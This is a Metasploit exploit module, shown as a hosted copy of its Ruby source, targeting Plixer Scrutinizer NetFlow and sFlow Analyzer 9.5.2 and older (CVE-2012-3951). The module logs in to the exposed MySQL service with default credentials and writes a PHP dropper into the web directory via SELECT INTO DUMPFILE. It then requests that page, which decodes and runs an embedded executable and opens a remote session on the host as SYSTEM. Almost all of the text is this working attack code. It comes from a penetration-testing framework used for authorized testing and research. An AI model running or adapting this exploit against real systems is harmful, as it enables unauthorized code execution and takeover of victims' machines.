Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb
19534 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::MYSQL
10
include Msf::Exploit::Remote::HttpClient
11
include Msf::Exploit::EXE
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => "Plixer Scrutinizer NetFlow and sFlow Analyzer 9 Default MySQL Credential",
18
'Description' => %q{
19
This exploits an insecure config found in Scrutinizer NetFlow & sFlow Analyzer.
20
By default, the software installs a default password in MySQL, and binds the
21
service to "0.0.0.0". This allows any remote user to login to MySQL, and then
22
gain arbitrary remote code execution under the context of 'SYSTEM'. Examples
23
of default credentials include: 'scrutinizer:admin', and 'scrutremote:admin'.
24
},
25
'License' => MSF_LICENSE,
26
'Author' => [
27
'MC',
28
'Jonathan Claudius',
29
'Tanya Secker',
30
'sinn3r'
31
],
32
'References' => [
33
['CVE', '2012-3951'],
34
['OSVDB', '84317'],
35
['URL', 'http://web.archive.org/web/20140722224651/http://secunia.com/advisories/50074/'],
36
['URL', 'https://www.trustwave.com/spiderlabs/advisories/TWSL2012-014.txt']
37
],
38
'Payload' => {
39
'BadChars' => "\x00"
40
},
41
'DefaultOptions' => {
42
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
43
},
44
'Platform' => 'win',
45
'Targets' => [
46
['Scrutinizer NetFlow and sFlow Analyzer 9.5.2 or older', {}]
47
],
48
'Privileged' => false,
49
'DisclosureDate' => '2012-07-27',
50
'DefaultTarget' => 0,
51
'Notes' => {
52
'Reliability' => UNKNOWN_RELIABILITY,
53
'Stability' => UNKNOWN_STABILITY,
54
'SideEffects' => UNKNOWN_SIDE_EFFECTS
55
}
56
)
57
)
58
59
register_options(
60
[
61
OptString.new("USERNAME", [true, 'The default MySQL username', 'scrutremote']),
62
OptString.new("PASSWORD", [true, 'The default MySQL password', 'admin']),
63
OptPort.new("MYSQLPORT", [true, 'The MySQL\'s remote port', 3306]),
64
OptPort.new("HTTPPORT", [true, 'The HTTP Server\'s remote port', 80]),
65
OptString.new("TARGETURI", [true, 'The web application\'s base path', '/'])
66
]
67
)
68
69
# Both MySQL and HTTP need to use this, we'll have to register on the fly.
70
deregister_options('RPORT')
71
72
self.needs_cleanup = true
73
end
74
75
def check
76
tmp_rport = datastore['RPORT']
77
datastore['RPORT'] = datastore['HTTPPORT']
78
res = send_request_raw({ 'uri' => '/' }) # Check the base path for regex
79
datastore['RPORT'] = tmp_rport
80
if res and res.body =~ /\<title\>Scrutinizer\<\/title\>/ and
81
res.body =~ /\<div id\=\'.+\'\>Scrutinizer 9\.[0-5]\.[0-2]\<\/div\>/
82
return Exploit::CheckCode::Appears
83
end
84
85
return Exploit::CheckCode::Safe
86
end
87
88
def get_php_payload(fname)
89
p = Rex::Text.encode_base64(generate_payload_exe)
90
php = %Q|
91
<?php
92
$f = fopen("#{fname}", "wb");
93
fwrite($f, base64_decode("#{p}"));
94
fclose($f);
95
exec("#{fname}");
96
?>
97
|
98
php = php.gsub(/^ {4}/, '').gsub(/\n/, ' ')
99
return php
100
end
101
102
#
103
# I wanna be able to choose my own destination... path!
104
#
105
def mysql_upload_binary(bindata, path)
106
# Modify the rport so we can use MySQL
107
datastore['RPORT'] = datastore['MYSQLPORT']
108
109
# Login
110
h = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
111
return false if not h
112
113
tmp = mysql_get_temp_dir
114
p = bindata.unpack("H*")[0]
115
dest = tmp + path
116
mysql_query("SELECT 0x#{p} into DUMPFILE '#{dest}'")
117
return true
118
end
119
120
def exe_php(php_fname)
121
# Modify the rport so we can use HTTP
122
datastore['RPORT'] = datastore['HTTPPORT']
123
124
# Request our payload
125
uri = normalize_uri(target_uri.path)
126
path = File.dirname("#{uri}/.")
127
res = send_request_raw({ 'uri' => "#{path}#{php_fname}" })
128
return (res and res.code == 200)
129
end
130
131
def cleanup
132
datastore['RPORT'] = @original_rport
133
end
134
135
def on_new_session(cli)
136
if cli.type != 'meterpreter'
137
print_error("Please remember to manually remove #{@exe_fname} and #{@php_fname}")
138
return
139
end
140
141
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
142
143
begin
144
print_warning("Deleting #{@php_fname}")
145
cli.fs.file.rm(@php_fname)
146
rescue ::Exception => e
147
print_error("Please note: #{@php_fname} is stil on disk.")
148
end
149
150
begin
151
print_warning("Deleting #{@exe_fname}")
152
cli.fs.file.rm(@exe_fname)
153
rescue ::Exception => e
154
print_error("Please note: #{@exe_fname} is still on disk.")
155
end
156
end
157
158
def exploit
159
@original_rport = datastore['RPORT']
160
161
#
162
# Prepare our payload (naughty exe embedded in php)
163
#
164
@exe_fname = Rex::Text.rand_text_alpha(6) + '.exe'
165
p = get_php_payload(@exe_fname)
166
167
#
168
# Upload our payload to the html directory
169
#
170
print_status("Uploading #{p.length.to_s} bytes via MySQL...")
171
@php_fname = Rex::Text.rand_text_alpha(5) + '.php'
172
if not mysql_upload_binary(p, "../../html/#{@php_fname}")
173
print_error("That MySQL upload didn't work.")
174
return
175
end
176
177
#
178
# Execute the payload
179
#
180
print_status("Requesting #{@php_fname}...")
181
res = exe_php(@php_fname)
182
183
handler
184
end
185
end
186
187